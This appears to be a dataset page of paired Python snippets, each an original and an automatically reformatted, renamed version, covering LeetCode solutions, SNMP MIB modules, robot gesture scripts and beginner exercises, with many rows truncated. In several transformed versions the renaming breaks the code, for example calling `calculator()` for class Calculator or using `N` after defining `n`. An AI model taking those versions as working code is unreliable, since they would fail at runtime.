# This file is auto-generated by the sage-update-version script, do not edit!
version = '9.6.beta6'
date = '2022-03-27'
banner = 'SageMath version 9.6.beta6, Release Date: 2022-03-27'
| version = '9.6.beta6'
date = '2022-03-27'
banner = 'SageMath version 9.6.beta6, Release Date: 2022-03-27' |
w_dic = {'example': 'eg', 'Example': 'eg', 'important': 'imp', 'Important': 'Imp',
'mathematics': 'math', 'Mathematics': 'Math', 'algorithm': 'algo',
'Algorithm': 'Algo', 'frequency': 'freq', 'Frequency': 'Freq', 'input': 'i/p',
'Input': 'i/p', 'output': 'o/p', 'Output': 'o/p',... | w_dic = {'example': 'eg', 'Example': 'eg', 'important': 'imp', 'Important': 'Imp', 'mathematics': 'math', 'Mathematics': 'Math', 'algorithm': 'algo', 'Algorithm': 'Algo', 'frequency': 'freq', 'Frequency': 'Freq', 'input': 'i/p', 'Input': 'i/p', 'output': 'o/p', 'Output': 'o/p', 'software': 's/w', 'Software': 's/w', 'ha... |
class Edge:
def __init__(self, dest, capa):
self.dest = dest
self.capa = capa
self.rmng = capa
class Node:
def __init__(self, name, level=0, edges=None):
self.name = name
self.level = level
if edges is None:
self.edges = []
def add_edge(self, de... | class Edge:
def __init__(self, dest, capa):
self.dest = dest
self.capa = capa
self.rmng = capa
class Node:
def __init__(self, name, level=0, edges=None):
self.name = name
self.level = level
if edges is None:
self.edges = []
def add_edge(self, d... |
src = Split('''
cli.c
dumpsys.c
''')
component = aos_component('cli', src)
component.add_component_dependencis('kernel/hal')
component.add_global_macro('HAVE_NOT_ADVANCED_FORMATE')
component.add_global_macro('CONFIG_AOS_CLI')
component.add_global_includes('include')
| src = split('\n cli.c \n dumpsys.c\n')
component = aos_component('cli', src)
component.add_component_dependencis('kernel/hal')
component.add_global_macro('HAVE_NOT_ADVANCED_FORMATE')
component.add_global_macro('CONFIG_AOS_CLI')
component.add_global_includes('include') |
# USITTAsciiParser
#
# by Claude Heintz
# copyright 2014 by Claude Heintz Design
#
# see license included with this distribution or
# https://www.claudeheintzdesign.com/lx/opensource.html
##### This is an abstract class for parsing strings to extract
# data formatted as specified in:
#
# ASCII Text Represen... | class Usittasciiparser:
end_data = -1
no_primary = 0
cue_collect = 1
group_collect = 2
sub_collect = 3
mfg_collect = 5
def __init__(self):
self.line = 0
self.state = USITTAsciiParser.NO_PRIMARY
self.startedLine = False
self.tokens = []
self.cstring = ... |
SUCCESS_RESPONSE_CODE = 'Success'
METHOD_NOT_ALLOWED = 'Failure'
UNAUTHORIZED = 'Warning'
SUCCESS_RESPONSE_CREATED = 'Success'
PAGE_NOT_FOUND = 'Error'
INTERNAL_SERVER_ERROR = 'Error'
BAD_REQUEST_CODE = 'Error'
SUCCESS_MESSAGE = 'Success'
FAILURE_MESSAGE = 'Failure' | success_response_code = 'Success'
method_not_allowed = 'Failure'
unauthorized = 'Warning'
success_response_created = 'Success'
page_not_found = 'Error'
internal_server_error = 'Error'
bad_request_code = 'Error'
success_message = 'Success'
failure_message = 'Failure' |
def phonehome():
relax()
sleep(1)
i01.setHeadSpeed(1.0,1.0,1.0,1.0,1.0)
i01.setArmSpeed("left",1.0,1.0,1.0,1.0)
i01.setArmSpeed("right",1.0,1.0,1.0,1.0)
i01.setHandSpeed("left",1.0,1.0,1.0,1.0,1.0,1.0)
i01.setHandSpeed("right",1.0,1.0,1.0,1.0,1.0,1.0)
i01.setTorsoSpeed(1.0,1.0,1.0)
i01.moveHead(160,68... | def phonehome():
relax()
sleep(1)
i01.setHeadSpeed(1.0, 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed('left', 1.0, 1.0, 1.0, 1.0)
i01.setArmSpeed('right', 1.0, 1.0, 1.0, 1.0)
i01.setHandSpeed('left', 1.0, 1.0, 1.0, 1.0, 1.0, 1.0)
i01.setHandSpeed('right', 1.0, 1.0, 1.0, 1.0, 1.0, 1.0)
i01.setTorso... |
n1 = int(input('Digite um Valor: '))
n2 = int(input('Digite outro valor: '))
n = n1 + n2
print('A soma entre {} e {} resulta em: {} !'.format(n1,n2,n))
print(type(n1))
| n1 = int(input('Digite um Valor: '))
n2 = int(input('Digite outro valor: '))
n = n1 + n2
print('A soma entre {} e {} resulta em: {} !'.format(n1, n2, n))
print(type(n1)) |
class JUMP_GE:
def __init__(self, stack):
self.phase = 0
self.ip = 0
self.stack = stack
self.a = 0
def exec(self, ip, data):
if (self.phase == 0):
self.ip = ip + 1
self.a = self.stack.pop()
self.phase = 1
return False
... | class Jump_Ge:
def __init__(self, stack):
self.phase = 0
self.ip = 0
self.stack = stack
self.a = 0
def exec(self, ip, data):
if self.phase == 0:
self.ip = ip + 1
self.a = self.stack.pop()
self.phase = 1
return False
... |
class TriggerListener(object):
def __init__(self, state_machine, **kwargs):
self._state_machine = state_machine
def __call__(self, msg):
self._state_machine.trigger(msg.data)
| class Triggerlistener(object):
def __init__(self, state_machine, **kwargs):
self._state_machine = state_machine
def __call__(self, msg):
self._state_machine.trigger(msg.data) |
# 78. Subsets
# Runtime: 32 ms, faster than 85.43% of Python3 online submissions for Subsets.
# Memory Usage: 14.3 MB, less than 78.59% of Python3 online submissions for Subsets.
class Solution:
# Cascading
def subsets(self, nums: list[int]) -> list[list[int]]:
res = [[]]
for n in nums:
... | class Solution:
def subsets(self, nums: list[int]) -> list[list[int]]:
res = [[]]
for n in nums:
res += [curr + [n] for curr in res]
return res |
class Constand_Hs:
HEADERSIZE=1024
Dangkyvantay=str('FDK')
Dangkythetu=str('CDK')
Van_tay_mo_tu_F=str('Fopen\n')
Van_tay_dong_tu_F=str('Fclose\n')
Van_Tay_Su_Dung_Tu=str('Fused\n')
The_Tu_Su_Dung_Tu=str('Cused\n')
Van_tay_mo_tu_C=str('Copen')
Van_tay_dong_tu_C=str('Cclose')
Serve... | class Constand_Hs:
headersize = 1024
dangkyvantay = str('FDK')
dangkythetu = str('CDK')
van_tay_mo_tu_f = str('Fopen\n')
van_tay_dong_tu_f = str('Fclose\n')
van__tay__su__dung__tu = str('Fused\n')
the__tu__su__dung__tu = str('Cused\n')
van_tay_mo_tu_c = str('Copen')
van_tay_dong_tu_c... |
list1 = ['phisics','chemistry',1997,2000]
print("Value available at index 2 is ", list1[2])
list1[2] = 2003
print("New Value available at index 2 is ", list1[2]) | list1 = ['phisics', 'chemistry', 1997, 2000]
print('Value available at index 2 is ', list1[2])
list1[2] = 2003
print('New Value available at index 2 is ', list1[2]) |
expected_output = {
'mst_instances': {
6: {
'bridge_address': '5897.bdff.3b3a',
'bridge_priority': 20486,
'interfaces': {
'GigabitEthernet1/7': {
'cost': 20000,
'counters': {
'bpdu_received': ... | expected_output = {'mst_instances': {6: {'bridge_address': '5897.bdff.3b3a', 'bridge_priority': 20486, 'interfaces': {'GigabitEthernet1/7': {'cost': 20000, 'counters': {'bpdu_received': 0, 'bpdu_sent': 836828}, 'designated_bridge_address': '5897.bdff.3b3a', 'designated_bridge_port_id': '128.7', 'designated_bridge_prior... |
#It is highly recommended that you check your code first in IDLE first for syntax errors and then Test it here.
#If your code has syntax errors ,Open-Palm will freeze. You have to restart it in that case
def check_even(n):
if n%2 == 0:
return True
else:
return False
| def check_even(n):
if n % 2 == 0:
return True
else:
return False |
def expand(maze, fill):
length=len(maze)
res=[[fill]*(length*2) for i in range(length*2)]
for i in range(length//2, length//2+length):
for j in range(length//2, length//2+length):
res[i][j]=maze[i-length//2][j-length//2]
return res | def expand(maze, fill):
length = len(maze)
res = [[fill] * (length * 2) for i in range(length * 2)]
for i in range(length // 2, length // 2 + length):
for j in range(length // 2, length // 2 + length):
res[i][j] = maze[i - length // 2][j - length // 2]
return res |
number = int(input())
if any(number % int(i) for i in input().split()):
print('not divisible by all')
else:
print('divisible by all')
| number = int(input())
if any((number % int(i) for i in input().split())):
print('not divisible by all')
else:
print('divisible by all') |
#
# PySNMP MIB module ALTIGA-MULTILINK-STATS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ALTIGA-MULTILINK-STATS-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:05:49 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version ... | (al_multi_link_mib_module,) = mibBuilder.importSymbols('ALTIGA-GLOBAL-REG', 'alMultiLinkMibModule')
(al_multi_link_group, al_stats_multi_link) = mibBuilder.importSymbols('ALTIGA-MIB', 'alMultiLinkGroup', 'alStatsMultiLink')
(object_identifier, integer, octet_string) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier'... |
class Solution:
def isPalindrome(self, s: str) -> bool:
l,r = 0, len(s)-1
while l<r:
if not s[l].isalnum():
l+=1
elif not s[r].isalnum():
r-=1
elif s[l].lower() == s[r].lower():
l+=1
... | class Solution:
def is_palindrome(self, s: str) -> bool:
(l, r) = (0, len(s) - 1)
while l < r:
if not s[l].isalnum():
l += 1
elif not s[r].isalnum():
r -= 1
elif s[l].lower() == s[r].lower():
l += 1
... |
class Solution:
def rankTeams(self, votes: List[str]) -> str:
# Create 2D data structure A : 0, 0, 0, 'A', C: 0, 0, 0, 'B'
rnk = {v:[0] * len(votes[0]) + [v] for v in votes[0]}
# Tally votes in reverse because sort defaults ascending
for v in votes:
for i, c in enumerate... | class Solution:
def rank_teams(self, votes: List[str]) -> str:
rnk = {v: [0] * len(votes[0]) + [v] for v in votes[0]}
for v in votes:
for (i, c) in enumerate(v):
rnk[c][i] -= 1
return ''.join(sorted(rnk, key=lambda x: rnk[x])) |
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def findMode(self, root: TreeNode) -> List[int]:
if not root:
return
dic = {}
def record(node):
... | class Solution:
def find_mode(self, root: TreeNode) -> List[int]:
if not root:
return
dic = {}
def record(node):
if not node:
return
if node.val not in dic:
dic[node.val] = 1
else:
dic[node.val]... |
#
# PySNMP MIB module TPT-DDOS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TPT-DDOS-MIB
# Produced by pysmi-0.3.4 at Wed May 1 15:26:17 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019,... | (octet_string, object_identifier, integer) = mibBuilder.importSymbols('ASN1', 'OctetString', 'ObjectIdentifier', 'Integer')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(constraints_intersection, constraints_union, value_range_constraint, value_size_constraint, single_value_constraint) ... |
#
# PySNMP MIB module CNT251-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CNT251-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 18:09:31 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:... | (integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier')
(named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues')
(value_range_constraint, constraints_union, value_size_constraint, single_value_constraint, constraints_intersection) ... |
def sanitize(time_string):
if '-' in time_string:
splitter = '-'
elif ':' in time_string:
splitter = ':'
else:
return(time_string)
(mins, secs) = time_string.split(splitter)
return(mins + '.' + secs)
with open('james.txt') as jaf:
data = jaf.readline()
james = data.stri... | def sanitize(time_string):
if '-' in time_string:
splitter = '-'
elif ':' in time_string:
splitter = ':'
else:
return time_string
(mins, secs) = time_string.split(splitter)
return mins + '.' + secs
with open('james.txt') as jaf:
data = jaf.readline()
james = data.strip().... |
def top3(products, amounts, prices):
revenue_index_product = [ (amo*pri,-idx,pro) for (pro,amo,pri,idx) in zip(products,amounts,prices,range(len(prices))) ]
revenue_index_product = sorted(revenue_index_product, reverse=True )
return [ pro for (rev,idx,pro) in revenue_index_product[0:3] ]
| def top3(products, amounts, prices):
revenue_index_product = [(amo * pri, -idx, pro) for (pro, amo, pri, idx) in zip(products, amounts, prices, range(len(prices)))]
revenue_index_product = sorted(revenue_index_product, reverse=True)
return [pro for (rev, idx, pro) in revenue_index_product[0:3]] |
__all__ = [ 'XDict' ]
class XDict(dict):
__slots__ = ()
__setattr__ = dict.__setitem__
__delattr__ = dict.__delitem__
__getitem__ = dict.get
__getattr__ = dict.get
__getnewargs__ = lambda self: getattr(dict,self).__getnewargs__(self)
__repr__ = lambda self: '<XDict %s>' % dict.__repr__(sel... | __all__ = ['XDict']
class Xdict(dict):
__slots__ = ()
__setattr__ = dict.__setitem__
__delattr__ = dict.__delitem__
__getitem__ = dict.get
__getattr__ = dict.get
__getnewargs__ = lambda self: getattr(dict, self).__getnewargs__(self)
__repr__ = lambda self: '<XDict %s>' % dict.__repr__(self)... |
class Node:
def __init__(self, data = None, next = None):
self.data = data
self.next = next
def setNext(self,next):
self.next=next
def setData(self, data):
self.data=data
class LinkedList:
def __init__(self):
self.head = None
def add(self, data):
if ... | class Node:
def __init__(self, data=None, next=None):
self.data = data
self.next = next
def set_next(self, next):
self.next = next
def set_data(self, data):
self.data = data
class Linkedlist:
def __init__(self):
self.head = None
def add(self, data):
... |
AddrSize = 8
Out = open("Template.txt", "w")
Out.write(">->+\n[>\n" + ">" * AddrSize + "+" + "<" * AddrSize + "\n\n")
def Mark(C, L):
if C == L:
Out.write("\t" * 0 + "[-\n")
Out.write("\t" * 0 + "#\n")
Out.write("\t" * 0 + "]\n")
return
Out.write("\t" * 0 + "[>\n")
Ma... | addr_size = 8
out = open('Template.txt', 'w')
Out.write('>->+\n[>\n' + '>' * AddrSize + '+' + '<' * AddrSize + '\n\n')
def mark(C, L):
if C == L:
Out.write('\t' * 0 + '[-\n')
Out.write('\t' * 0 + '#\n')
Out.write('\t' * 0 + ']\n')
return
Out.write('\t' * 0 + '[>\n')
mark(C +... |
length = int(input())
width = int(input())
height = int(input())
occupied = float(input())
occupied_percent = occupied / 100
full_capacity = length * width * height
occupied_total = occupied_percent * full_capacity
remaining = full_capacity - occupied_total
capacity_in_dm = remaining / 1000
water = capacity_in_dm
print... | length = int(input())
width = int(input())
height = int(input())
occupied = float(input())
occupied_percent = occupied / 100
full_capacity = length * width * height
occupied_total = occupied_percent * full_capacity
remaining = full_capacity - occupied_total
capacity_in_dm = remaining / 1000
water = capacity_in_dm
print... |
module_id = 'gl'
report_name = 'tb_bf_maj'
table_name = 'gl_totals'
report_type = 'bf_cf'
groups = []
groups.append([
'code', # dim
['code_maj', []], # grp_name, filter
])
include_zeros = True
# allow_select_loc_fun = True
expand_subledg = True
columns = [
['op_date', 'op_date', 'Op date', 'DTE', 8... | module_id = 'gl'
report_name = 'tb_bf_maj'
table_name = 'gl_totals'
report_type = 'bf_cf'
groups = []
groups.append(['code', ['code_maj', []]])
include_zeros = True
expand_subledg = True
columns = [['op_date', 'op_date', 'Op date', 'DTE', 85, None, 'Total:'], ['cl_date', 'cl_date', 'Cl date', 'DTE', 85, None, False], [... |
class Calculator:
def __init__(self):
self.result = 0
def adder(self, num):
self.result += num
return self.result
cal1 = Calculator()
cal2 = Calculator()
print(cal1.adder(3)) # 3
print(cal1.adder(5)) # 8
print(cal2.adder(3)) # 3
print(cal2.adder(7)) # 10
# Empty ... | class Calculator:
def __init__(self):
self.result = 0
def adder(self, num):
self.result += num
return self.result
cal1 = calculator()
cal2 = calculator()
print(cal1.adder(3))
print(cal1.adder(5))
print(cal2.adder(3))
print(cal2.adder(7))
class Simple:
pass
class Service:
text... |
# !/usr/bin/env python3
# Author: C.K
# Email: theck17@163.com
# DateTime:2021-09-03 16:21:08
# Description:
class Solution:
def cloneGraph(self, node: 'Node') -> 'Node':
if not node:
return node
m = {node: Node(node.val)}
stack = [node]
while stack:
n = sta... | class Solution:
def clone_graph(self, node: 'Node') -> 'Node':
if not node:
return node
m = {node: node(node.val)}
stack = [node]
while stack:
n = stack.pop()
for neigh in n.neighbors:
if neigh not in m:
stack.a... |
N=int(input())
A=[int(input()) for i in range(N)]
B={a:i for (i,a) in enumerate(sorted(set(A)))}
for a in A:
print(B[a]) | n = int(input())
a = [int(input()) for i in range(N)]
b = {a: i for (i, a) in enumerate(sorted(set(A)))}
for a in A:
print(B[a]) |
# List of strings/words
words = input().split()
word_one = words[0]
word_two = words[1]
total_sum = 0
shorter_word_length = min(len(word_one), len(word_two))
# Process shorter string
for i in range(shorter_word_length):
word_one_current = word_one[i]
word_two_current = word_two[i]
ch_multiplication = ord... | words = input().split()
word_one = words[0]
word_two = words[1]
total_sum = 0
shorter_word_length = min(len(word_one), len(word_two))
for i in range(shorter_word_length):
word_one_current = word_one[i]
word_two_current = word_two[i]
ch_multiplication = ord(word_one_current) * ord(word_two_current)
total... |
def solution(n: int):
answer = 0
i = 1
while i * i < n + 1:
if n % i == 0:
if i == n // i:
answer += i
else:
answer += i + n // i
i += 1
return answer
if __name__ == "__main__":
i = 25
print(solution(i))
| def solution(n: int):
answer = 0
i = 1
while i * i < n + 1:
if n % i == 0:
if i == n // i:
answer += i
else:
answer += i + n // i
i += 1
return answer
if __name__ == '__main__':
i = 25
print(solution(i)) |
qst_deliver_message = 0
qst_deliver_message_to_enemy_lord = 1
qst_raise_troops = 2
qst_escort_lady = 3
qst_deal_with_bandits_at_lords_village = 4
qst_collect_taxes = 5
qst_hunt_down_fugitive = 6
qst_kill_local_merchant = 7
qst_bring_back_runaway_serfs = 8
qst_follow_spy = 9
qst_capture_enemy_hero = 10
qst_lend_companio... | qst_deliver_message = 0
qst_deliver_message_to_enemy_lord = 1
qst_raise_troops = 2
qst_escort_lady = 3
qst_deal_with_bandits_at_lords_village = 4
qst_collect_taxes = 5
qst_hunt_down_fugitive = 6
qst_kill_local_merchant = 7
qst_bring_back_runaway_serfs = 8
qst_follow_spy = 9
qst_capture_enemy_hero = 10
qst_lend_companio... |
# Aluguel de carros
k= (float(input('Total kilometragem percorrida: ')))
a= (int(input('Total de dias alugado: ')))
kr= (float(input('Valor por kilometro rodado: R$ ')))
ad = (float(input('Valor do dia de aluguel: R$ ')))
tk = k*kr # total de kilometros rodados
ta = a * ad # total dias de aluguel
total = tk + ta
prin... | k = float(input('Total kilometragem percorrida: '))
a = int(input('Total de dias alugado: '))
kr = float(input('Valor por kilometro rodado: R$ '))
ad = float(input('Valor do dia de aluguel: R$ '))
tk = k * kr
ta = a * ad
total = tk + ta
print(f'Total a pagar por {k:.2f} kilometros rodados + {a} dias de aluguel: R$ {to... |
# AUTOGENERATED BY NBDEV! DO NOT EDIT!
__all__ = ["index", "modules", "custom_doc_links", "git_url"]
index = {"dimension": "00_core.ipynb",
"reshaped": "00_core.ipynb",
"show": "00_core.ipynb",
"makeThreatenedSquares": "00_core.ipynb",
"defence": "00_core.ipynb",
"attack":... | __all__ = ['index', 'modules', 'custom_doc_links', 'git_url']
index = {'dimension': '00_core.ipynb', 'reshaped': '00_core.ipynb', 'show': '00_core.ipynb', 'makeThreatenedSquares': '00_core.ipynb', 'defence': '00_core.ipynb', 'attack': '00_core.ipynb', 'fetch': '01_data.ipynb', 'Game': '01_data.ipynb', 'fromGame': '01_d... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.